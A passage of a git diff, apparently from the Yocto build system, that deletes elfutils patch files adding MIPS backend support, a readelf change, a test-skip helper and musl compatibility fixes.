-+RELOC_TYPE (GPREL16, 0)
-+RELOC_TYPE (LITERAL, 0)
-+RELOC_TYPE (GOT16, 0)
-+RELOC_TYPE (PC16, 0)
-+RELOC_TYPE (CALL16, 0)
-+RELOC_TYPE (GPREL32, 0)
-+
-+RELOC_TYPE (SHIFT5, 0)
-+RELOC_TYPE (SHIFT6, 0)
-+RELOC_TYPE (64, 0)
-+RELOC_TYPE (GOT_DISP, 0)
-+RELOC_TYPE (GOT_PAGE, 0)
-+RELOC_TYPE (GOT_OFST, 0)
-+RELOC_TYPE (GOT_HI16, 0)
-+RELOC_TYPE (GOT_LO16, 0)
-+RELOC_TYPE (SUB, 0)
-+RELOC_TYPE (INSERT_A, 0)
-+RELOC_TYPE (INSERT_B, 0)
-+RELOC_TYPE (DELETE, 0)
-+RELOC_TYPE (HIGHER, 0)
-+RELOC_TYPE (HIGHEST, 0)
-+RELOC_TYPE (CALL_HI16, 0)
-+RELOC_TYPE (CALL_LO16, 0)
-+RELOC_TYPE (SCN_DISP, 0)
-+RELOC_TYPE (REL16, 0)
-+RELOC_TYPE (ADD_IMMEDIATE, 0)
-+RELOC_TYPE (PJUMP, 0)
-+RELOC_TYPE (RELGOT, 0)
-+RELOC_TYPE (JALR, 0)
-+RELOC_TYPE (TLS_DTPMOD32, 0)
-+RELOC_TYPE (TLS_DTPREL32, 0)
-+RELOC_TYPE (TLS_DTPMOD64, 0)
-+RELOC_TYPE (TLS_DTPREL64, 0)
-+RELOC_TYPE (TLS_GD, 0)
-+RELOC_TYPE (TLS_LDM, 0)
-+RELOC_TYPE (TLS_DTPREL_HI16, 0)
-+RELOC_TYPE (TLS_DTPREL_LO16, 0)
-+RELOC_TYPE (TLS_GOTTPREL, 0)
-+RELOC_TYPE (TLS_TPREL32, 0)
-+RELOC_TYPE (TLS_TPREL64, 0)
-+RELOC_TYPE (TLS_TPREL_HI16, 0)
-+RELOC_TYPE (TLS_TPREL_LO16, 0)
-+
-+#define NO_COPY_RELOC 1
-+#define NO_RELATIVE_RELOC 1
-diff --git a/backends/mips_retval.c b/backends/mips_retval.c
-new file mode 100644
-index 0000000..656cd1f
---- /dev/null
-+++ b/backends/mips_retval.c
-@@ -0,0 +1,321 @@
-+/* Function return value location for Linux/mips ABI.
-+ Copyright (C) 2005 Red Hat, Inc.
-+ This file is part of Red Hat elfutils.
-+
-+ Red Hat elfutils is free software; you can redistribute it and/or modify
-+ it under the terms of the GNU General Public License as published by the
-+ Free Software Foundation; version 2 of the License.
-+
-+ Red Hat elfutils is distributed in the hope that it will be useful, but
-+ WITHOUT ANY WARRANTY; without even the implied warranty of
-+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
-+ General Public License for more details.
-+
-+ You should have received a copy of the GNU General Public License along
-+ with Red Hat elfutils; if not, write to the Free Software Foundation,
-+ Inc., 51 Franklin Street, Fifth Floor, Boston MA 02110-1301 USA.
-+
-+ Red Hat elfutils is an included package of the Open Invention Network.
-+ An included package of the Open Invention Network is a package for which
-+ Open Invention Network licensees cross-license their patents. No patent
-+ license is granted, either expressly or impliedly, by designation as an
-+ included package. Should you wish to participate in the Open Invention
-+ Network licensing program, please visit www.openinventionnetwork.com
-+ <http://www.openinventionnetwork.com>. */
-+
-+#ifdef HAVE_CONFIG_H
-+# include <config.h>
-+#endif
-+
-+#include <string.h>
-+#include <assert.h>
-+#include <dwarf.h>
-+#include <elf.h>
-+
-+#include "../libebl/libeblP.h"
-+#include "../libdw/libdwP.h"
-+
-+#define BACKEND mips_
-+#include "libebl_CPU.h"
-+
-+/* The ABI of the file. Also see EF_MIPS_ABI2 above. */
-+#define EF_MIPS_ABI 0x0000F000
-+
-+/* The original o32 abi. */
-+#define E_MIPS_ABI_O32 0x00001000
-+
-+/* O32 extended to work on 64 bit architectures */
-+#define E_MIPS_ABI_O64 0x00002000
-+
-+/* EABI in 32 bit mode */
-+#define E_MIPS_ABI_EABI32 0x00003000
-+
-+/* EABI in 64 bit mode */
-+#define E_MIPS_ABI_EABI64 0x00004000
-+
-+/* All the possible MIPS ABIs. */
-+enum mips_abi
-+ {
-+ MIPS_ABI_UNKNOWN = 0,
-+ MIPS_ABI_N32,
-+ MIPS_ABI_O32,
-+ MIPS_ABI_N64,
-+ MIPS_ABI_O64,
-+ MIPS_ABI_EABI32,
-+ MIPS_ABI_EABI64,
-+ MIPS_ABI_LAST
-+ };
-+
-+/* Find the mips ABI of the current file */
-+enum mips_abi find_mips_abi(Elf *elf)
-+{
-+ GElf_Ehdr ehdr_mem;
-+ GElf_Ehdr *ehdr = gelf_getehdr (elf, &ehdr_mem);
-+
-+ if (ehdr == NULL)
-+ return MIPS_ABI_LAST;
-+
-+ GElf_Word elf_flags = ehdr->e_flags;
-+
-+ /* Check elf_flags to see if it specifies the ABI being used. */
-+ switch ((elf_flags & EF_MIPS_ABI))
-+ {
-+ case E_MIPS_ABI_O32:
-+ return MIPS_ABI_O32;
-+ case E_MIPS_ABI_O64:
-+ return MIPS_ABI_O64;
-+ case E_MIPS_ABI_EABI32:
-+ return MIPS_ABI_EABI32;
-+ case E_MIPS_ABI_EABI64:
-+ return MIPS_ABI_EABI64;
-+ default:
-+ if ((elf_flags & EF_MIPS_ABI2))
-+ return MIPS_ABI_N32;
-+ }
-+
-+ /* GCC creates a pseudo-section whose name describes the ABI. */
-+ size_t shstrndx;
-+ if (elf_getshdrstrndx (elf, &shstrndx) < 0)
-+ return MIPS_ABI_LAST;
-+
-+ const char *name;
-+ Elf_Scn *scn = NULL;
-+ while ((scn = elf_nextscn (elf, scn)) != NULL)
-+ {
-+ GElf_Shdr shdr_mem;
-+ GElf_Shdr *shdr = gelf_getshdr (scn, &shdr_mem);
-+ if (shdr == NULL)
-+ return MIPS_ABI_LAST;
-+
-+ name = elf_strptr (elf, shstrndx, shdr->sh_name) ?: "";
-+ if (strncmp (name, ".mdebug.", 8) != 0)
-+ continue;
-+
-+ if (strcmp (name, ".mdebug.abi32") == 0)
-+ return MIPS_ABI_O32;
-+ else if (strcmp (name, ".mdebug.abiN32") == 0)
-+ return MIPS_ABI_N32;
-+ else if (strcmp (name, ".mdebug.abi64") == 0)
-+ return MIPS_ABI_N64;
-+ else if (strcmp (name, ".mdebug.abiO64") == 0)
-+ return MIPS_ABI_O64;
-+ else if (strcmp (name, ".mdebug.eabi32") == 0)
-+ return MIPS_ABI_EABI32;
-+ else if (strcmp (name, ".mdebug.eabi64") == 0)
-+ return MIPS_ABI_EABI64;
-+ else
-+ return MIPS_ABI_UNKNOWN;
-+ }
-+
-+ return MIPS_ABI_UNKNOWN;
-+}
-+
-+unsigned int
-+mips_abi_regsize (enum mips_abi abi)
-+{
-+ switch (abi)
-+ {
-+ case MIPS_ABI_EABI32:
-+ case MIPS_ABI_O32:
-+ return 4;
-+ case MIPS_ABI_N32:
-+ case MIPS_ABI_N64:
-+ case MIPS_ABI_O64:
-+ case MIPS_ABI_EABI64:
-+ return 8;
-+ case MIPS_ABI_UNKNOWN:
-+ case MIPS_ABI_LAST:
-+ default:
-+ return 0;
-+ }
-+}
-+
-+
-+/* $v0 or pair $v0, $v1 */
-+static const Dwarf_Op loc_intreg_o32[] =
-+ {
-+ { .atom = DW_OP_reg2 }, { .atom = DW_OP_piece, .number = 4 },
-+ { .atom = DW_OP_reg3 }, { .atom = DW_OP_piece, .number = 4 },
-+ };
-+
-+static const Dwarf_Op loc_intreg[] =
-+ {
-+ { .atom = DW_OP_reg2 }, { .atom = DW_OP_piece, .number = 8 },
-+ { .atom = DW_OP_reg3 }, { .atom = DW_OP_piece, .number = 8 },
-+ };
-+#define nloc_intreg 1
-+#define nloc_intregpair 4
-+
-+/* $f0 (float), or pair $f0, $f1 (double).
-+ * f2/f3 are used for COMPLEX (= 2 doubles) returns in Fortran */
-+static const Dwarf_Op loc_fpreg_o32[] =
-+ {
-+ { .atom = DW_OP_regx, .number = 32 }, { .atom = DW_OP_piece, .number = 4 },
-+ { .atom = DW_OP_regx, .number = 33 }, { .atom = DW_OP_piece, .number = 4 },
-+ { .atom = DW_OP_regx, .number = 34 }, { .atom = DW_OP_piece, .number = 4 },
-+ { .atom = DW_OP_regx, .number = 35 }, { .atom = DW_OP_piece, .number = 4 },
-+ };
-+
-+/* $f0, or pair $f0, $f2. */
-+static const Dwarf_Op loc_fpreg[] =
-+ {
-+ { .atom = DW_OP_regx, .number = 32 }, { .atom = DW_OP_piece, .number = 8 },
-+ { .atom = DW_OP_regx, .number = 34 }, { .atom = DW_OP_piece, .number = 8 },
-+ };
-+#define nloc_fpreg 1
-+#define nloc_fpregpair 4
-+#define nloc_fpregquad 8
-+
-+/* The return value is a structure and is actually stored in stack space
-+ passed in a hidden argument by the caller. But, the compiler
-+ helpfully returns the address of that space in $v0. */
-+static const Dwarf_Op loc_aggregate[] =
-+ {
-+ { .atom = DW_OP_breg2, .number = 0 }
-+ };
-+#define nloc_aggregate 1
-+
-+int
-+mips_return_value_location (Dwarf_Die *functypedie, const Dwarf_Op **locp)
-+{
-+ /* First find the ABI used by the elf object */
-+ enum mips_abi abi = find_mips_abi(functypedie->cu->dbg->elf);
-+
-+ /* Something went seriously wrong while trying to figure out the ABI */
-+ if (abi == MIPS_ABI_LAST)
-+ return -1;
-+
-+ /* We couldn't identify the ABI, but the file seems valid */
-+ if (abi == MIPS_ABI_UNKNOWN)
-+ return -2;
-+
-+ /* Can't handle EABI variants */
-+ if ((abi == MIPS_ABI_EABI32) || (abi == MIPS_ABI_EABI64))
-+ return -2;
-+
-+ unsigned int regsize = mips_abi_regsize (abi);
-+ if (!regsize)
-+ return -2;
-+
-+ /* Start with the function's type, and get the DW_AT_type attribute,
-+ which is the type of the return value. */
-+
-+ Dwarf_Attribute attr_mem;
-+ Dwarf_Attribute *attr = dwarf_attr_integrate (functypedie, DW_AT_type, &attr_mem);
-+ if (attr == NULL)
-+ /* The function has no return value, like a `void' function in C. */
-+ return 0;
-+
-+ Dwarf_Die die_mem;
-+ Dwarf_Die *typedie = dwarf_formref_die (attr, &die_mem);
-+ int tag = dwarf_tag (typedie);
-+
-+ /* Follow typedefs and qualifiers to get to the actual type. */
-+ while (tag == DW_TAG_typedef
-+ || tag == DW_TAG_const_type || tag == DW_TAG_volatile_type
-+ || tag == DW_TAG_restrict_type)
-+ {
-+ attr = dwarf_attr_integrate (typedie, DW_AT_type, &attr_mem);
-+ typedie = dwarf_formref_die (attr, &die_mem);
-+ tag = dwarf_tag (typedie);
-+ }
-+
-+ switch (tag)
-+ {
-+ case -1:
-+ return -1;
-+
-+ case DW_TAG_subrange_type:
-+ if (! dwarf_hasattr_integrate (typedie, DW_AT_byte_size))
-+ {
-+ attr = dwarf_attr_integrate (typedie, DW_AT_type, &attr_mem);
-+ typedie = dwarf_formref_die (attr, &die_mem);
-+ tag = dwarf_tag (typedie);
-+ }
-+ /* Fall through. */
-+
-+ case DW_TAG_base_type:
-+ case DW_TAG_enumeration_type:
-+ case DW_TAG_pointer_type:
-+ case DW_TAG_ptr_to_member_type:
-+ {
-+ Dwarf_Word size;
-+ if (dwarf_formudata (dwarf_attr_integrate (typedie, DW_AT_byte_size,
-+ &attr_mem), &size) != 0)
-+ {
-+ if (tag == DW_TAG_pointer_type || tag == DW_TAG_ptr_to_member_type)
-+ size = regsize;
-+ else
-+ return -1;
-+ }
-+ if (tag == DW_TAG_base_type)
-+ {
-+ Dwarf_Word encoding;
-+ if (dwarf_formudata (dwarf_attr_integrate (typedie, DW_AT_encoding,
-+ &attr_mem), &encoding) != 0)
-+ return -1;
-+
-+#define ABI_LOC(loc, regsize) ((regsize) == 4 ? (loc ## _o32) : (loc))
-+
-+ if (encoding == DW_ATE_float)
-+ {
-+ *locp = ABI_LOC(loc_fpreg, regsize);
-+ if (size <= regsize)
-+ return nloc_fpreg;
-+
-+ if (size <= 2*regsize)
-+ return nloc_fpregpair;
-+
-+ if (size <= 4*regsize && abi == MIPS_ABI_O32)
-+ return nloc_fpregquad;
-+
-+ goto aggregate;
-+ }
-+ }
-+ *locp = ABI_LOC(loc_intreg, regsize);
-+ if (size <= regsize)
-+ return nloc_intreg;
-+ if (size <= 2*regsize)
-+ return nloc_intregpair;
-+
-+ /* Else fall through. Shouldn't happen though (at least with gcc) */
-+ }
-+
-+ case DW_TAG_structure_type:
-+ case DW_TAG_class_type:
-+ case DW_TAG_union_type:
-+ case DW_TAG_array_type:
-+ aggregate:
-+ /* XXX TODO: Can't handle structure return with other ABI's yet :-/ */
-+ if ((abi != MIPS_ABI_O32) && (abi != MIPS_ABI_O64))
-+ return -2;
-+
-+ *locp = loc_aggregate;
-+ return nloc_aggregate;
-+ }
-+
-+ /* XXX We don't have a good way to return specific errors from ebl calls.
-+ This value means we do not understand the type, but it is well-formed
-+ DWARF and might be valid. */
-+ return -2;
-+}
-diff --git a/backends/mips_symbol.c b/backends/mips_symbol.c
-new file mode 100644
-index 0000000..261b05d
---- /dev/null
-+++ b/backends/mips_symbol.c
-@@ -0,0 +1,53 @@
-+/* MIPS specific symbolic name handling.
-+ Copyright (C) 2002, 2003, 2005 Red Hat, Inc.
-+ This file is part of Red Hat elfutils.
-+ Written by Jakub Jelinek <jakub@redhat.com>, 2002.
-+
-+ Red Hat elfutils is free software; you can redistribute it and/or modify
-+ it under the terms of the GNU General Public License as published by the
-+ Free Software Foundation; version 2 of the License.
-+
-+ Red Hat elfutils is distributed in the hope that it will be useful, but
-+ WITHOUT ANY WARRANTY; without even the implied warranty of
-+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
-+ General Public License for more details.
-+
-+ You should have received a copy of the GNU General Public License along
-+ with Red Hat elfutils; if not, write to the Free Software Foundation,
-+ Inc., 51 Franklin Street, Fifth Floor, Boston MA 02110-1301 USA.
-+
-+ Red Hat elfutils is an included package of the Open Invention Network.
-+ An included package of the Open Invention Network is a package for which
-+ Open Invention Network licensees cross-license their patents. No patent
-+ license is granted, either expressly or impliedly, by designation as an
-+ included package. Should you wish to participate in the Open Invention
-+ Network licensing program, please visit www.openinventionnetwork.com
-+ <http://www.openinventionnetwork.com>. */
-+
-+#ifdef HAVE_CONFIG_H
-+# include <config.h>
-+#endif
-+
-+#include <elf.h>
-+#include <stddef.h>
-+
-+#define BACKEND mips_
-+#include "libebl_CPU.h"
-+
-+/* Check for the simple reloc types. */
-+Elf_Type
-+mips_reloc_simple_type (Ebl *ebl __attribute__ ((unused)), int type,
-+ int *addsub __attribute__ ((unused)))
-+{
-+ switch (type)
-+ {
-+ case R_MIPS_16:
-+ return ELF_T_HALF;
-+ case R_MIPS_32:
-+ return ELF_T_WORD;
-+ case R_MIPS_64:
-+ return ELF_T_XWORD;
-+ default:
-+ return ELF_T_NUM;
-+ }
-+}
-diff --git a/libebl/eblopenbackend.c b/libebl/eblopenbackend.c
-index 01711f5..d0c3589 100644
---- a/libebl/eblopenbackend.c
-+++ b/libebl/eblopenbackend.c
-@@ -71,6 +71,8 @@ static const struct
- { "sparc", "elf_sparc", "sparc", 5, EM_SPARC, 0, 0 },
- { "sparc", "elf_sparcv8plus", "sparc", 5, EM_SPARC32PLUS, 0, 0 },
- { "s390", "ebl_s390", "s390", 4, EM_S390, 0, 0 },
-+ { "mips", "elf_mips", "mips", 4, EM_MIPS, 0, 0 },
-+ { "mips", "elf_mipsel", "mipsel", 4, EM_MIPS_RS3_LE, 0, 0 },
-
- { "m32", "elf_m32", "m32", 3, EM_M32, 0, 0 },
- { "m68k", "elf_m68k", "m68k", 4, EM_68K, ELFCLASS32, ELFDATA2MSB },
---
-2.7.4
-
diff --git a/meta/recipes-devtools/elfutils/files/debian/mips_cfi.patch b/meta/recipes-devtools/elfutils/files/debian/mips_cfi.patch
deleted file mode 100644
index fda4f68059..0000000000
--- a/meta/recipes-devtools/elfutils/files/debian/mips_cfi.patch
+++ /dev/null
@@ -1,131 +0,0 @@
-From 96e38289f2887ddb8e6d2fb91ea04bdbdf034ab5 Mon Sep 17 00:00:00 2001
-From: Hongxu Jia <hongxu.jia@windriver.com>
-Date: Wed, 21 Aug 2019 17:00:30 +0800
-Subject: [PATCH 2/2] mips_cfi
-
-Upstream-Status: Pending [from debian]
-
-Rebase to 0.177
-
-Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
----
- backends/Makefile.am | 2 +-
- backends/mips_cfi.c | 80 ++++++++++++++++++++++++++++++++++++++++++++++++++++
- backends/mips_init.c | 1 +
- 3 files changed, 82 insertions(+), 1 deletion(-)
- create mode 100644 backends/mips_cfi.c
-
-diff --git a/backends/Makefile.am b/backends/Makefile.am
-index aba8a4a..6ac0eec 100644
---- a/backends/Makefile.am
-+++ b/backends/Makefile.am
-@@ -145,7 +145,7 @@ csky_SRCS = csky_attrs.c csky_init.c csky_symbol.c csky_cfi.c \
- libebl_csky_pic_a_SOURCES = $(csky_SRCS)
- am_libebl_csky_pic_a_OBJECTS = $(csky_SRCS:.c=.os)
-
--mips_SRCS = mips_init.c mips_symbol.c mips_regs.c mips_retval.c
-+mips_SRCS = mips_init.c mips_symbol.c mips_regs.c mips_retval.c mips_cfi.c
- libebl_mips_pic_a_SOURCES = $(mips_SRCS)
- am_libebl_mips_pic_a_OBJECTS = $(mips_SRCS:.c=.os)
-
-diff --git a/backends/mips_cfi.c b/backends/mips_cfi.c
-new file mode 100644
-index 0000000..9ffdab5
---- /dev/null
-+++ b/backends/mips_cfi.c
-@@ -0,0 +1,80 @@
-+/* MIPS ABI-specified defaults for DWARF CFI.
-+ Copyright (C) 2018 Kurt Roeckx, Inc.
-+ This file is part of elfutils.
-+
-+ This file is free software; you can redistribute it and/or modify
-+ it under the terms of either
-+
-+ * the GNU Lesser General Public License as published by the Free
-+ Software Foundation; either version 3 of the License, or (at
-+ your option) any later version
-+
-+ or
-+
-+ * the GNU General Public License as published by the Free
-+ Software Foundation; either version 2 of the License, or (at
-+ your option) any later version
-+
-+ or both in parallel, as here.
-+
-+ elfutils is distributed in the hope that it will be useful, but
-+ WITHOUT ANY WARRANTY; without even the implied warranty of
-+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
-+ General Public License for more details.
-+
-+ You should have received copies of the GNU General Public License and
-+ the GNU Lesser General Public License along with this program. If
-+ not, see <http://www.gnu.org/licenses/>. */
-+
-+#ifdef HAVE_CONFIG_H
-+# include <config.h>
-+#endif
-+
-+#include <dwarf.h>
-+
-+#define BACKEND mips_
-+#include "libebl_CPU.h"
-+
-+int
-+mips_abi_cfi (Ebl *ebl __attribute__ ((unused)), Dwarf_CIE *abi_info)
-+{
-+ static const uint8_t abi_cfi[] =
-+ {
-+ /* Call-saved regs. */
-+ DW_CFA_same_value, ULEB128_7 (16), /* $16 */
-+ DW_CFA_same_value, ULEB128_7 (17), /* $17 */
-+ DW_CFA_same_value, ULEB128_7 (18), /* $18 */
-+ DW_CFA_same_value, ULEB128_7 (19), /* $19 */
-+ DW_CFA_same_value, ULEB128_7 (20), /* $20 */
-+ DW_CFA_same_value, ULEB128_7 (21), /* $21 */
-+ DW_CFA_same_value, ULEB128_7 (22), /* $22 */
-+ DW_CFA_same_value, ULEB128_7 (23), /* $23 */
-+ DW_CFA_same_value, ULEB128_7 (28), /* $28 */
-+ DW_CFA_same_value, ULEB128_7 (29), /* $29 */
-+ DW_CFA_same_value, ULEB128_7 (30), /* $30 */
-+
-+ DW_CFA_same_value, ULEB128_7 (52), /* $f20 */
-+ DW_CFA_same_value, ULEB128_7 (53), /* $f21 */
-+ DW_CFA_same_value, ULEB128_7 (54), /* $f22 */
-+ DW_CFA_same_value, ULEB128_7 (55), /* $f23 */
-+ DW_CFA_same_value, ULEB128_7 (56), /* $f24 */
-+ DW_CFA_same_value, ULEB128_7 (57), /* $f25 */
-+ DW_CFA_same_value, ULEB128_7 (58), /* $f26 */
-+ DW_CFA_same_value, ULEB128_7 (59), /* $f27 */
-+ DW_CFA_same_value, ULEB128_7 (60), /* $f28 */
-+ DW_CFA_same_value, ULEB128_7 (61), /* $f29 */
-+ DW_CFA_same_value, ULEB128_7 (62), /* $f30 */
-+ DW_CFA_same_value, ULEB128_7 (63), /* $f31 */
-+
-+ /* The CFA is the SP. */
-+ DW_CFA_def_cfa, ULEB128_7 (29), ULEB128_7 (0),
-+ };
-+
-+ abi_info->initial_instructions = abi_cfi;
-+ abi_info->initial_instructions_end = &abi_cfi[sizeof abi_cfi];
-+ abi_info->data_alignment_factor = 4;
-+
-+ abi_info->return_address_register = 31; /* $31 */
-+
-+ return 0;
-+}
-diff --git a/backends/mips_init.c b/backends/mips_init.c
-index 8482e7f..bce5abe 100644
---- a/backends/mips_init.c
-+++ b/backends/mips_init.c
-@@ -50,6 +50,7 @@ mips_init (Elf *elf __attribute__ ((unused)),
- HOOK (eh, reloc_simple_type);
- HOOK (eh, return_value_location);
- HOOK (eh, register_info);
-+ HOOK (eh, abi_cfi);
-
- return MODVERSION;
- }
---
-2.7.4
-
diff --git a/meta/recipes-devtools/elfutils/files/debian/mips_readelf_w.patch b/meta/recipes-devtools/elfutils/files/debian/mips_readelf_w.patch
deleted file mode 100644
index c6d42e163a..0000000000
--- a/meta/recipes-devtools/elfutils/files/debian/mips_readelf_w.patch
+++ /dev/null
@@ -1,31 +0,0 @@
-From 7bdc83296865cf2b2a5615dbdb7ac0d441fb1849 Mon Sep 17 00:00:00 2001
-From: Hongxu Jia <hongxu.jia@windriver.com>
-Date: Wed, 21 Aug 2019 16:55:01 +0800
-Subject: [PATCH] mips_readelf_w
-
-Upstream-Status: Pending [from debian]
-
-Rebase to 0.177
-
-Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
----
- src/readelf.c | 3 ++-
- 1 file changed, 2 insertions(+), 1 deletion(-)
-
-diff --git a/src/readelf.c b/src/readelf.c
-index 2084fb1..5c02a9b 100644
---- a/src/readelf.c
-+++ b/src/readelf.c
-@@ -11256,7 +11256,8 @@ print_debug (Dwfl_Module *dwflmod, Ebl *ebl, GElf_Ehdr *ehdr)
- GElf_Shdr shdr_mem;
- GElf_Shdr *shdr = gelf_getshdr (scn, &shdr_mem);
-
-- if (shdr != NULL && shdr->sh_type == SHT_PROGBITS)
-+ if (shdr != NULL && (
-+ (shdr->sh_type == SHT_PROGBITS) || (shdr->sh_type == SHT_MIPS_DWARF)))
- {
- static const struct
- {
---
-2.7.4
-
diff --git a/meta/recipes-devtools/elfutils/files/debian/testsuite-ignore-elflint.diff b/meta/recipes-devtools/elfutils/files/debian/testsuite-ignore-elflint.diff
deleted file mode 100644
index e6d7948c67..0000000000
--- a/meta/recipes-devtools/elfutils/files/debian/testsuite-ignore-elflint.diff
+++ /dev/null
@@ -1,52 +0,0 @@
-From 6393b0e57872b3ffedf0dbd6784cd29694010878 Mon Sep 17 00:00:00 2001
-From: Hongxu Jia <hongxu.jia@windriver.com>
-Date: Wed, 21 Aug 2019 16:59:01 +0800
-Subject: [PATCH 1/2] testsuite-ignore-elflint
-
-Upstream-Status: Pending [from debian]
-
-Rebase to 0.177
-
-Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
----
- tests/run-elflint-self.sh | 2 +-
- tests/test-subr.sh | 15 +++++++++++++++
- 2 files changed, 16 insertions(+), 1 deletion(-)
-
-diff --git a/tests/run-elflint-self.sh b/tests/run-elflint-self.sh
-index 58fa7d0..85d21a5 100755
---- a/tests/run-elflint-self.sh
-+++ b/tests/run-elflint-self.sh
-@@ -18,5 +18,5 @@
-
- . $srcdir/test-subr.sh
-
--testrun_on_self ${abs_top_builddir}/src/elflint --quiet --gnu-ld
-+testrun_on_self_skip ${abs_top_builddir}/src/elflint --quiet --gnu-ld
- testrun_on_self_compressed ${abs_top_builddir}/src/elflint --quiet --gnu-ld
-diff --git a/tests/test-subr.sh b/tests/test-subr.sh
-index 09f428d..26f61f1 100644
---- a/tests/test-subr.sh
-+++ b/tests/test-subr.sh
-@@ -201,3 +201,18 @@ testrun_on_self_quiet()
- # Only exit if something failed
- if test $exit_status != 0; then exit $exit_status; fi
- }
-+
-+# Same as testrun_on_self(), but skip on failure.
-+testrun_on_self_skip()
-+{
-+ exit_status=0
-+
-+ for file in $self_test_files; do
-+ testrun $* $file \
-+ || { echo "*** failure in $* $file"; exit_status=77; }
-+ done
-+
-+ # Only exit if something failed
-+ if test $exit_status != 0; then exit $exit_status; fi
-+}
-+
---
-2.7.4
-
diff --git a/meta/recipes-devtools/elfutils/files/musl-libs.patch b/meta/recipes-devtools/elfutils/files/musl-libs.patch
deleted file mode 100644
index b9b9f120df..0000000000
--- a/meta/recipes-devtools/elfutils/files/musl-libs.patch
+++ /dev/null
@@ -1,144 +0,0 @@
-From d5a1651df9884fcf57ed320bc2f866538af2f420 Mon Sep 17 00:00:00 2001
-From: Hongxu Jia <hongxu.jia@windriver.com>
-Date: Fri, 23 Aug 2019 10:18:47 +0800
-Subject: [PATCH 2/3] musl-libs
-
-Collection of fixes needed to compile libelf and other libraries
-provided by elfutils for musl targets
-
-error is glibc specific API, so this patch will mostly not accepted
-upstream given that elfutils has been closely tied to glibc
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-Upstream-Status: Inappropriate [workaround for musl]
-
-Rebase to 0.177
-Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
----
- lib/error.h | 27 +++++++++++++++++++++++++++
- lib/fixedsizehash.h | 1 -
- lib/libeu.h | 1 +
- libdwfl/dwfl_error.c | 9 +++++++++
- libdwfl/linux-kernel-modules.c | 1 +
- libelf/elf.h | 9 ++++++---
- 6 files changed, 44 insertions(+), 4 deletions(-)
- create mode 100644 lib/error.h
-
-diff --git a/lib/error.h b/lib/error.h
-new file mode 100644
-index 0000000..ef06827
---- /dev/null
-+++ b/lib/error.h
-@@ -0,0 +1,27 @@
-+#ifndef _ERROR_H_
-+#define _ERROR_H_
-+
-+#include <stdarg.h>
-+#include <stdio.h>
-+#include <stdlib.h>
-+#include <string.h>
-+#include <errno.h>
-+
-+static unsigned int error_message_count = 0;
-+
-+static inline void error(int status, int errnum, const char* format, ...)
-+{
-+ va_list ap;
-+ fprintf(stderr, "%s: ", program_invocation_name);
-+ va_start(ap, format);
-+ vfprintf(stderr, format, ap);
-+ va_end(ap);
-+ if (errnum)
-+ fprintf(stderr, ": %s", strerror(errnum));
-+ fprintf(stderr, "\n");
-+ error_message_count++;
-+ if (status)
-+ exit(status);
-+}
-+
-+#endif /* _ERROR_H_ */
-diff --git a/lib/fixedsizehash.h b/lib/fixedsizehash.h
-index dac2a5f..43016fc 100644
---- a/lib/fixedsizehash.h
-+++ b/lib/fixedsizehash.h
-@@ -30,7 +30,6 @@
- #include <errno.h>
- #include <stdlib.h>
- #include <string.h>
--#include <sys/cdefs.h>
-
- #include <system.h>
-
-diff --git a/lib/libeu.h b/lib/libeu.h
-index ecb4d01..edc85e3 100644
---- a/lib/libeu.h
-+++ b/lib/libeu.h
-@@ -29,6 +29,7 @@
- #ifndef LIBEU_H
- #define LIBEU_H
-
-+#include "system.h"
- #include <stddef.h>
- #include <stdint.h>
-
-diff --git a/libdwfl/dwfl_error.c b/libdwfl/dwfl_error.c
-index 7bcf61c..11dcc8b 100644
---- a/libdwfl/dwfl_error.c
-+++ b/libdwfl/dwfl_error.c
-@@ -154,7 +154,16 @@ dwfl_errmsg (int error)
- switch (error &~ 0xffff)
- {
- case OTHER_ERROR (ERRNO):
-+#if defined(__GLIBC__)
- return strerror_r (error & 0xffff, "bad", 0);
-+#else
-+ {
-+ static __thread char buf[128] = "";
-+ if (strerror_r (error & 0xffff, buf, sizeof(buf)) == 0)
-+ return buf;
-+ }
-+ return "strerror_r() failed";
-+#endif
- case OTHER_ERROR (LIBELF):
- return elf_errmsg (error & 0xffff);
- case OTHER_ERROR (LIBDW):
-diff --git a/libdwfl/linux-kernel-modules.c b/libdwfl/linux-kernel-modules.c
-index d46ab5a..1c3faee 100644
---- a/libdwfl/linux-kernel-modules.c
-+++ b/libdwfl/linux-kernel-modules.c
-@@ -50,6 +50,7 @@
- #include <sys/utsname.h>
- #include <fcntl.h>
- #include <unistd.h>
-+#include "system.h"
-
- /* If fts.h is included before config.h, its indirect inclusions may not
- give us the right LFS aliases of these functions, so map them manually. */
-diff --git a/libelf/elf.h b/libelf/elf.h
-index bed273d..be228e6 100644
---- a/libelf/elf.h
-+++ b/libelf/elf.h
-@@ -21,7 +21,9 @@
-
- #include <features.h>
-
--__BEGIN_DECLS
-+#ifdef __cplusplus
-+extern "C" {
-+#endif
-
- /* Standard ELF types. */
-
-@@ -4029,6 +4031,7 @@ enum
- #define R_NDS32_TLS_TPOFF 102
- #define R_NDS32_TLS_DESC 119
-
--__END_DECLS
--
-+#ifdef __cplusplus
-+}
-+#endif
- #endif /* elf.h */
---
-2.7.4
-
diff --git a/meta/recipes-devtools/elfutils/files/musl-obstack-fts.patch b/meta/recipes-devtools/elfutils/files/musl-obstack-fts.patch
deleted file mode 100644
index 40f2b69cf4..0000000000
--- a/meta/recipes-devtools/elfutils/files/musl-obstack-fts.patch
+++ /dev/null
@@ -1,128 +0,0 @@
-From 77b89dbc9f9f965ad0ef2e341d7d46bce5f07549 Mon Sep 17 00:00:00 2001
-From: Hongxu Jia <hongxu.jia@windriver.com>
-Date: Fri, 23 Aug 2019 10:17:25 +0800
-Subject: [PATCH 1/3] musl-obstack-fts
-
-Look for libfts and libobstack during configure, these
-libraries are external to libc when using musl, whereas
-on glibc these libraries are provided in libc itself.
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-Upstream-Status: Inappropriate [workaround for musl]
-
-Rebase to 0.177
-Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
----
- configure.ac | 54 ++++++++++++++++++++++++++++++++++++++++++++++++++++++
- libdw/Makefile.am | 2 +-
